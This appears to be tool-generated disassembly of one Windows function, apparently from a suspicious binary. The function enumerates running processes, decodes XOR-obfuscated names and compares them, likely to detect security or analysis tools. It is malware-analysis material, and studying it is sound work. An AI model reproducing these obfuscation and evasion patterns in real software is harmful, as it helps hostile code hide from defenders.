Function at 0x1400658b0
Capabilities:
Encode data using xor
Enumerate processes
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x520
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
xor ebx, ebx
mov edi, ebx
mov dword [rax + 8], ebx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x558], rax
cmp rax, 0xffffffffffffffff
je 0x140067081
mov dword [rsp + 0x3a0], 0x130
lea rdx, [rsp + 0x3a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140067073
mov r15d, 0x151e
mov r12d, 0x15eb
mov r13d, 0x15e8
mov r14d, 0x1579
movdqa xmm6, xmmword [0x1400f79b0]
movdqa xmm7, xmmword [0x1400f79a0]
movdqa xmm8, xmmword [0x1400f7990]
movdqa xmm9, xmmword [0x1400f7980]
cmp byte [rsp + 0x3cc], 0
je 0x140065f0b
xorps xmm0, xmm0
movups xmmword [rsp + 0xd0], xmm0
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], rbx
lea rax, [rsp + 0x3cc]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400659a0
lea rdx, [rsp + 0x3cc]
lea rcx, [rsp + 0xd0]
call fcn.140042980
nop
lea r14, [rsp + 0xd0]
mov r8, qword [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova r14, r8
lea r15, [rsp + 0xd0]
cmova r15, r8
add r15, qword [rsp + 0xe0]
lea rsi, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 0xf
cmova rsi, r8
cmp rsi, r15
je 0x140065a25
sub r14, rsi
nop
movsx ecx, byte [rsi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [r14 + rsi], al
inc rsi
cmp rsi, r15
jne 0x140065a10
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov eax, 0x36c
mov ecx, eax
mov eax, dword [rax + r14]
mov esi, 0x5d0
add rsi, r14
test al, 1
jne 0x140065a79
or eax, 1
mov dword [rcx + r14], eax
mov word [rsi + 0xb], 0x16b
mov dword [rsi], 0xa28d1ec
mov dword [rsi + 4], 0x8b6a75
mov word [rsi + 8], 0xd7e6
mov byte [rsi + 0xa], Ordinal_41
lea rcx, [0x1400d6f00]
call fcn.1400d0054
nop
movabs r15, 0x67e50f016b4db98f
cmp byte [rsi + 0xc], 0
je 0x140065a9d
mov r8, r15
mov edx, recv
mov rcx, rsi
call fcn.140050d70
mov byte [rsi + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], rbx
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x140065ac0
mov rdx, rsi
lea rcx, [rsp + 0x70]
call fcn.140042980
nop
or edi, 1
mov dword [rsp + 0x550], edi
lea r9, [rsp + 0x70]
mov r13, qword [rsp + 0x70]
cmp qword [rsp + 0x88], 0xf
cmova r9, r13
lea rcx, [rsp + 0xd0]
mov rsi, qword [rsp + 0xe8]
cmp rsi, 0xf
cmova rcx, qword [rsp + 0xd0]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xe0]
call fcn.1400428c0
cmp rax, 0xffffffffffffffff
jne 0x140065c4b
mov eax, 0x438
mov edx, eax
mov eax, dword [rax + r14]
mov ecx, 0x680
test al, 1
jne 0x140065b85
or eax, 1
mov dword [rdx + r14], eax
lea rsi, [r14 + rcx]
mov word [rsi + 0xb], 0x16b
mov dword [rsi], 0x72edcfd
mov dword [rsi + 4], 0x49967c60
mov word [rsi + 8], 0xdce1
mov byte [rsi + 0xa], reloc.WS2_32.dll_gethostname
lea rcx, [0x1400d6ee0]
call fcn.1400d0054
nop
jmp 0x140065b89
lea rsi, [r14 + rcx]
cmp byte [rsi + 0xc], 0
je 0x140065ba3
mov r8, r15
mov edx, recv
mov rcx, rsi
call fcn.140050d70
mov byte [rsi + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rbx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], 0
jne 0x140065bc5
mov rdx, rsi
lea rcx, [rsp + 0x90]
call fcn.140042980
or edi, 2
mov dword [rsp + 0x550], edi
lea r9, [rsp + 0x90]
mov r14, qword [rsp + 0x90]
mov r15, qword [rsp + 0xa8]
cmp r15, 0xf
cmova r9, r14
lea rcx, [rsp + 0xd0]
mov rsi, qword [rsp + 0xe8]
cmp rsi, 0xf
cmova rcx, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xe0]
call fcn.1400428c0
cmp rax, 0xffffffffffffffff
jne 0x140065c5b
xor r12b, r12b
jmp 0x140065c5e
mov r15, qword [rsp + 0xa8]
mov r14, qword [rsp + 0x90]
mov r12b, 1
test dil, 2
je 0x140065cb0
and edi, 0xfffffffd
mov dword [rsp + 0x550], edi
cmp r15, 0xf
jbe 0x140065cb0
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140065ca0
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065ca0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.1400cfe7c
mov rsi, qword [rsp + 0xe8]
test dil, 1
je 0x140065d0a
and edi, 0xfffffffe
mov dword [rsp + 0x550], edi
mov rax, qword [rsp + 0x88]
cmp rax, 0xf
jbe 0x140065d0a
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140065cfa
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065cfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.1400cfe7c
mov rsi, qword [rsp + 0xe8]
test r12b, r12b
je 0x140065eb4
lea rdx, [rsp + 0xf0]
call fcn.140067110
mov r9, rax
cmp byte [rax + 0x1c], 0
je 0x1400670b2
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140065e70
movdqa xmm5, xmmword [0x1400f79f0]
movdqa xmm4, xmmword [0x1400f80d0]
movdqa xmm6, xmmword [0x1400f7a20]
movdqa xmm0, xmmword [0x1400f7b90]
movdqa xmmword [rsp + 0xb0], xmm0
mov rcx, rax
movdqa xmm7, xmmword [0x1400f7a80]
mov edx, dword [rsp + 0xb0]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x140065d80
cmp eax, 0x1d
jge 0x1400670b2
movsxd r8, ebx
add r8, r9
nop word [rax + rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
sub al, cl
add al, 0x31
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jge 0x1400670b2
jmp 0x140065e80
cmp rsi, 0xf
jbe 0x140065ef3
lea rdx, [rsi + 1]
mov rcx, qword [rsp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065eee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065eee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov r13d, 0x15e8
mov r12d, 0x15eb
mov r15d, 0x151e
mov r14d, 0x1579
mov edx, dword [rsp + 0x3a8]
lea rcx, [rsp + 0x90]
call fcn.140063460
nop
cmp qword [rsp + 0xa0], 0
je 0x140066fc4
mov dword [rsp + 0x10e], 0x151e1525
mov dword [rsp + 0x112], 0x15181548
mov dword [rsp + 0x116], 0x15111515
mov dword [rsp + 0x11a], 0x15eb1510
mov dword [rsp + 0x11e], 0x15e615af
mov dword [rsp + 0x122], 0x15e815ef
mov word [rsp + 0x126], bx
mov byte [rsp + 0x128], 1
lea r8, [rsp + 0x10e]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x378]
call fcn.140067140
nop
or edi, 4
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
je 0x140066205
mov dword [rsp + 0x166], 0x151e1525
mov dword [rsp + 0x16a], 0x15181548
mov dword [rsp + 0x16e], 0x15111515
mov dword [rsp + 0x172], 0x15eb1510
mov dword [rsp + 0x176], 0x15b615b7
mov dword [rsp + 0x17a], 0x15e015ad
mov dword [rsp + 0x17e], 0x15ea15e9
mov word [rsp + 0x182], bx
mov byte [rsp + 0x184], 1
lea r8, [rsp + 0x166]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x358]
call fcn.1400672b0
nop
or edi, 8
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
je 0x140066205
mov dword [rsp + 0x48], 0x15191525
mov dword [rsp + 0x4c], 0x1518151e
mov dword [rsp + 0x50], 0x151a154e
mov dword [rsp + 0x54], 0x15e81546
mov dword [rsp + 0x58], 0x15ed15ee
mov dword [rsp + 0x5c], 0x15aa15e8
mov dword [rsp + 0x60], 0x15ea15e1
mov dword [rsp + 0x64], 0x15eb
mov byte [rsp + 0x68], 1
movd xmm1, dword [rsp + 0x48]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
movdqa xmm0, xmm9
xorps xmm0, xmm1
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x48], xmm1
movd xmm2, dword [rsp + 0x4c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm0, xmm2
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x4c], xmm1
movd xmm2, dword [rsp + 0x50]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm0, xmm2
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x50], xmm1
movd xmm2, dword [rsp + 0x54]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm0, xmm2
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x54], xmm1
mov ecx, 8
nop word [rax + rax]
lea eax, [r14 + rcx]
xor word [rsp + rcx*2 + 0x48], ax
inc rcx
cmp rcx, 0xf
jb 0x140066140
mov byte [rsp + 0x68], 0
lea r8, [rsp + 0x66]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1f8]
call fcn.14006eeb0
bts edi, 0x13
mov dword [rsp + 0x550], edi
lea r8, [rsp + 0x1f8]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x258]
call fcn.14006f010
bts edi, 0x12
mov rdx, qword [rsp + 0x210]
cmp rdx, 7
jbe 0x1400661e6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400661e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400661e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
nop
or edi, 0x10
mov dword [rsp + 0x550], edi
lea rcx, [rsp + 0x258]
call fcn.140062600
test al, al
jne 0x1400668b3
mov dword [rsp + 0x70], 0x15161525
mov dword [rsp + 0x74], 0x151e1512
mov dword [rsp + 0x78], 0x150e1514
mov dword [rsp + 0x7c], 0x15ad150b
mov dword [rsp + 0x80], 0x15b015b2
mov dword [rsp + 0x84], 0x15e015ad
mov dword [rsp + 0x88], 0x15ea15e9
mov word [rsp + 0x8c], bx
mov byte [rsp + 0x8e], 1
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x338]
call fcn.1400672b0
nop
or edi, 0x20
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
je 0x14006632b
mov dword [rsp + 0x186], 0x15161525
mov dword [rsp + 0x18a], 0x151e1512
mov dword [rsp + 0x18e], 0x15171510
mov dword [rsp + 0x192], 0x15ed1514
mov dword [rsp + 0x196], 0x15e615ee
mov dword [rsp + 0x19a], 0x15b615b0
mov dword [rsp + 0x19e], 0x15e215ab
mov dword [rsp + 0x1a2], 0x15e415eb
mov word [rsp + 0x1a6], bx
mov byte [rsp + 0x1a8], 1
lea r8, [rsp + 0x186]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x318]
call fcn.140067420
nop
or edi, 0x40
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
jne 0x1400668b3
mov dword [rsp + 0xc0], 0x61
mov dword [rsp + 0xb0], 0x6d005c
mov dword [rsp + 0xb4], 0x690061
mov dword [rsp + 0xb8], 0x2e006e
mov dword [rsp + 0xbc], 0x75006c
mov byte [rsp + 0xc4], 0
lea r8, [rsp + 0xc2]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x1f8]
call fcn.14006eeb0
bts edi, 0xf
mov dword [rsp + 0x550], edi
lea r8, [rsp + 0x1f8]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x238]
call fcn.14006f010
bts edi, 0xe
mov rdx, qword [rsp + 0x210]
cmp rdx, 7
jbe 0x1400663ff
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400663f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400663f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
nop
bts edi, 7
mov dword [rsp + 0x550], edi
lea rcx, [rsp + 0x238]
call fcn.140062600
test al, al
je 0x1400666f5
mov dword [rsp + 0x30], 0x15191525
mov dword [rsp + 0x34], 0x151d1517
mov dword [rsp + 0x38], 0x150d150e
mov dword [rsp + 0x3c], 0x15ec1551
mov dword [rsp + 0x40], 0x15e315f4
mov word [rsp + 0x44], bx
mov byte [rsp + 0x46], 1
movd xmm1, dword [rsp + 0x30]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
movdqa xmm0, xmm9
xorps xmm0, xmm1
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x30], xmm1
movd xmm2, dword [rsp + 0x34]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
movdqa xmm0, xmm8
xorps xmm0, xmm2
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x34], xmm1
movd xmm2, dword [rsp + 0x38]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
movdqa xmm0, xmm7
xorps xmm0, xmm2
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x38], xmm1
movd xmm2, dword [rsp + 0x3c]
xorps xmm0, xmm0
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm0
movdqa xmm0, xmm6
xorps xmm0, xmm2
pshufd xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x3c], xmm1
mov ecx, 8
nop dword [rax + rax]
lea eax, [r14 + rcx]
xor word [rsp + rcx*2 + 0x30], ax
inc rcx
cmp rcx, 0xa
jb 0x140066500
mov byte [rsp + 0x46], 0
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x1f8]
call fcn.14006eeb0
bts edi, 0x11
mov dword [rsp + 0x550], edi
lea r8, [rsp + 0x1f8]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x218]
call fcn.14006f010
bts edi, 0x10
mov rdx, qword [rsp + 0x210]
cmp rdx, 7
jbe 0x1400665a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400665a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400665a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
nop
bts edi, 8
mov dword [rsp + 0x550], edi
lea rcx, [rsp + 0x218]
call fcn.140062600
test al, al
je 0x1400666f5
mov dword [rsp + 0x1ce], 0x15191525
mov dword [rsp + 0x1d2], 0x151d1517
mov dword [rsp + 0x1d6], 0x150d150e
mov dword [rsp + 0x1da], 0x15f21508
mov dword [rsp + 0x1de], 0x15f215e0
mov dword [rsp + 0x1e2], 0x15e115f3
mov dword [rsp + 0x1e6], 0x15a815f7
mov dword [rsp + 0x1ea], 0x15fd15eb
mov dword [rsp + 0x1ee], 0x15e8
mov byte [rsp + 0x1f2], 1
lea r8, [rsp + 0x1ce]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2f8]
call fcn.1400675d0
nop
bts edi, 9
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
je 0x1400666f5
mov dword [rsp + 0xf0], 0x151e1525
mov dword [rsp + 0xf4], 0x151a151e
mov dword [rsp + 0xf8], 0x15101514
mov dword [rsp + 0xfc], 0x15f3151a
mov dword [rsp + 0x100], 0x15ee15af
mov dword [rsp + 0x104], 0x15e515f6
mov word [rsp + 0x108], bx
mov byte [rsp + 0x10a], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2d8]
call fcn.140067140
nop
bts edi, 0xa
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
jne 0x1400668b3
mov dword [rsp + 0x1aa], 0x15391525
mov dword [rsp + 0x1ae], 0x15191513
mov dword [rsp + 0x1b2], 0x150a151c
mov dword [rsp + 0x1b6], 0x15ee153a
mov dword [rsp + 0x1ba], 0x15eb15e6
mov dword [rsp + 0x1be], 0x15e115ed
mov dword [rsp + 0x1c2], 0x15e515ab
mov dword [rsp + 0x1c6], 0x15e515ef
mov word [rsp + 0x1ca], bx
mov byte [rsp + 0x1cc], 1
lea r8, [rsp + 0x1aa]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2b8]
call fcn.140067420
nop
bts edi, 0xb
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
jne 0x1400668b3
mov dword [rsp + 0x12a], 0x15161525
mov dword [rsp + 0x12e], 0x151d150e
mov dword [rsp + 0x132], 0x154d1548
mov dword [rsp + 0x136], 0x15b61552
mov dword [rsp + 0x13a], 0x15ac15b5
mov dword [rsp + 0x13e], 0x15e815e7
mov dword [rsp + 0x142], 0x15e9
mov byte [rsp + 0x146], 1
lea r8, [rsp + 0x12a]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x298]
call fcn.1400678f0
nop
bts edi, 0xc
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
jne 0x1400668b3
mov dword [rsp + 0x148], 0x15161525
mov dword [rsp + 0x14c], 0x151d150e
mov dword [rsp + 0x150], 0x154d1548
mov dword [rsp + 0x154], 0x15b31552
mov dword [rsp + 0x158], 0x15ac15b3
mov dword [rsp + 0x15c], 0x15e815e7
mov dword [rsp + 0x160], 0x15e9
mov byte [rsp + 0x164], 1
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x278]
call fcn.1400678f0
nop
bts edi, 0xd
mov dword [rsp + 0x550], edi
mov rcx, rax
call fcn.140062600
test al, al
jne 0x1400668b3
xor sil, sil
jmp 0x1400668b6
mov sil, 1
bt edi, 0xd
jae 0x14006692e
btr edi, 0xd
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x290]
cmp rdx, 7
jbe 0x140066912
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006690d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006690d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x290], 7
mov word [rsp + 0x278], bx
bt edi, 0xc
jae 0x1400669a6
btr edi, 0xc
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x2b0]
cmp rdx, 7
jbe 0x14006698a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066985
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066985
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x2a8], rbx
mov qword [rsp + 0x2b0], 7
mov word [rsp + 0x298], bx
bt edi, 0xb
jae 0x140066a1e
btr edi, 0xb
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x2d0]
cmp rdx, 7
jbe 0x140066a02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400669fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400669fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x2c8], rbx
mov qword [rsp + 0x2d0], 7
mov word [rsp + 0x2b8], bx
bt edi, 0xa
jae 0x140066a96
btr edi, 0xa
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x2f0]
cmp rdx, 7
jbe 0x140066a7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066a75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x2e8], rbx
mov qword [rsp + 0x2f0], 7
mov word [rsp + 0x2d8], bx
bt edi, 9
jae 0x140066b0e
btr edi, 9
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x310]
cmp rdx, 7
jbe 0x140066af2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066aed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066aed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x308], rbx
mov qword [rsp + 0x310], 7
mov word [rsp + 0x2f8], bx
bt edi, 8
jae 0x140066b86
btr edi, 8
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x230]
cmp rdx, 7
jbe 0x140066b6a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066b65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x230], 7
mov word [rsp + 0x218], bx
test dil, dil
jns 0x140066bfd
btr edi, 7
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x250]
cmp rdx, 7
jbe 0x140066be1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066bdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066bdc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x248], rbx
mov qword [rsp + 0x250], 7
mov word [rsp + 0x238], bx
test dil, 0x40
je 0x140066c74
and edi, 0xffffffbf
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x330]
cmp rdx, 7
jbe 0x140066c58
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066c53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066c53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x328], rbx
mov qword [rsp + 0x330], 7
mov word [rsp + 0x318], bx
test dil, 0x20
je 0x140066ceb
and edi, 0xffffffdf
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x350]
cmp rdx, 7
jbe 0x140066ccf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066cca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066cca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x348], rbx
mov qword [rsp + 0x350], 7
mov word [rsp + 0x338], bx
test dil, 0x10
je 0x140066d62
and edi, 0xffffffef
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x270]
cmp rdx, 7
jbe 0x140066d46
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066d41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066d41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cfe7c
mov qword [rsp + 0x268], rbx
mov qword [rsp + 0x270], 7
mov word [rsp + 0x258], bx
test dil, 8
je 0x140066dd9
and edi, 0xfffffff7
mov dword [rsp + 0x550], edi
mov rdx, qword [rsp + 0x370]
cmp rdx, 7
jbe 0x140066dbd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066db8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066db8
